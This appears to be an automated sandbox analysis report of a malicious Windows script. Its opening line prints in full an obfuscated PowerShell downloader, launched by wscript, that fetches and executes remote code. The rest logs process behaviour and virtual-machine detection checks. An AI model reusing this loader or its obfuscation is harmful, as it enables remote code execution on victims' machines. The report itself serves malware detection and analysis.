Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Columbusgs='Reallnningernes';;$Cares='Doegling';;$Novela='Dyrkere55';;$Pigesjovetridiocyte='Teister';;$peacefuller=$host.Name;function Multiplum($Pousserer){If ($peacefuller) {$Exitskiltes=2} for ($Pigesjovet=$Exitskiltes;;$Pigesjovet+=3){if(!$Pousserer[$Pigesjovet]){cls;break }$Vandstande+=$Pousserer[$Pigesjovet];$Fiskeinteressernes='Unmoralises'}$Vandstande}function Unchanneled($Pigesjovetmmunotoxin){ .($instrumentalis) ($Pigesjovetmmunotoxin)}$Kvabserne=Multiplum 'SpnOreActdu.D.W';$Kvabserne+=Multiplum 'AvE bPscMalDeIC ESlnCeT';$Bugfish=Multiplum ' fM.joD.zBeiLalAslF a i/';$Exosperm=Multiplum 'OpTStlSksRa1 .2';$Bagprojektion121='go[.an,oESltAd.OssK e,ar,aV AiGrC,fe OP poslIManTeT.rm rADdNP,a UgDaE,lrv.].j:,u: ,sS EMuCCeuRyrR.iRetK.YBap NRU o Tt UoHect OAnL H= .$ SeRoX lO ssMip nEVaRVam';$Bugfish+=Multiplum 'Ar5R .Kn0.o (gjWFoiP nM.d roBewdrs , VoNStTs Rv1Un0Re.Dr0V,;T UtWstiAnn,e6P,4Br; S Sux 6 N4En;T .urD vSt: E1Pr3Co1r .D.0s )Fl BaG eeR c GkPaoEn/Ja2 s0 U1fu0 C0L,1 l0Ha1Wa oF .iMirMleFufu osuxFo/ M1M 3.k1ny.sn0';$Whitefishery=Multiplum ',iuCiS yeHurVe- oAUngGhEIbN Rt';$Knysten=Multiplum 'Vah it ,t,tp.is S:Fr/Ec/,rwMewSew,i..epGuuBenSpeF.eretSl.,gaS e E/Hei.nt S/AnKKoo Gn utJvrPeaScs nt nrPai .g tsh.L mSes o n>N.hU t t ApCosCo: S/On/ rwL,wBlw U.Prf VtBesH e n hgGei inCaeFieJ rFrs t. .cV o LmP /gei ItCl/MiKCaoOrn otEmrAnaA sTotP r,miByg,itVe.HamB s Eo';$Tikronesedler=Multiplum 'Sm>';$instrumentalis=Multiplum 'SpISpe vX';$Ribboned46='Treater';$fabriksvarerne='\Pharmacists201.Str';Unchanneled (Multiplum 'un$Chg yL uO .BGea VLTi:SisVsAB L aTDvI CNBte Rs T=,n$ E HN.aVA.:GrAOvp ,PSrd CaS,TR aHn+ t$UnfPrASeBUdRMaI KByS EVReAInrA e krRaN oE');Unchanneled (Multiplum 'Af$SpGCaL aoI BElA rLRo:,as JInUs S.jKseeGim rI.lK,pkVoeLilPa= D$D.KSanS.YHaSTit EMenst. s .PboLdiIVit,a(As$U T riEnks,r Uo.aNFeeExsBre ADKolO.E.rRSy)');Unchanneled (Multiplum $Bagprojektion121);$Knysten=$Sjuskemikkel[0];$Thyreoid=(Multiplum ' l$P gN,lSlOF,BHaAPelOv:PeI.oN v aAPoLToIRed FET,f ODaRAasN I akM.R GILenD G U=EnN oE IW -Reo .bKnJNuE dCPuT,c A S rYLaSI,tBreDrm a.H.$ Ak vnoABoB es e PR hnKaE');Unchanneled ($Thyreoid);Unchanneled (Multiplum 'Pr$ PISan v aa l ,i ad eCofthoBirBisT,iRek or i fnPegUn.M HpreCoa dAfe DrSlss [by$ WLah Fi BtF eHef DiAds ohCoeArr yIo]Ce=W $ToBTiuP.g yf ,iF sUnh');$Reedmaker=Multiplum ' r$RaIUsn RvSea,al ai,mdFleAffT oFirK sGliKok PrV,iAvnFrg a.SeDJaoCew AnR,lT.ogra TdScFV i nlAne (De$KaKChnPlyFlsKltA,eQ,nm.,In$ Ap Ge DnMosMiiTiozanKvs,maCildrd IeSurNo)';$pensionsalder=$Saltines;Unchanneled (Multiplum 'eg$MeGF LTeoJabRiAr.LAl:,bK TIh DCeDBeiF.ES SMa=Ga(Get He,rSDitSa-AdpStaShTGehBe ,a$Kop TeLaN,eSB,i o fn sMaARalBeDPoeSeRpa)');while (!$Kiddies) {Unchanneled (Multiplum 'Hy$AngInlP oelbIma FlR,: FUU dSegnoaTevTueSp=Ar$ nP,kiFogDreAks AjMeoEjvR ebetUdn Ut AecarHui umSms alRus nbriStnH.gPh8') ;Unchanneled $Ree	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Code function: 4_2_00007FF848F432D0 pushad ; retf

4_2_00007FF848F432D1

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT caption, serialnumber FROM Win32_DiskDrive

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5757	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4140	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6986	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2755	Jump to behavior
Source: C:\Windows\System32\conhost.exe	Window / User API: threadDelayed 4381	Jump to behavior

Source: C:\Windows\System32\wscript.exe TID: 5908	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1020	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3556	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: powershell.exe, 00000004.00000002.2434443047.000001747B150000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll C
Source: wscript.exe, 00000000.00000003.2077819358.000002E4454F9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2079896997.000002E4454F9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2080492996.000002E4454F9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2078516486.000002E4454F9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2080167656.000002E4454F9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2080342771.000002E4454F9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2095900276.000002E4454F9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2093962282.000002E4454F9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW={
Source: wscript.exe, 00000000.00000003.2077819358.000002E4454F9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2079896997.000002E4454F9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2080342771.000002E4454B5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2080492996.000002E4454F9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2095787772.000002E4454B1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2078516486.000002E4454F9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2080167656.000002E4454F9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2080492996.000002E4454AB000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2078516486.000002E4454B8000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2080732344.000002E4454B5000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 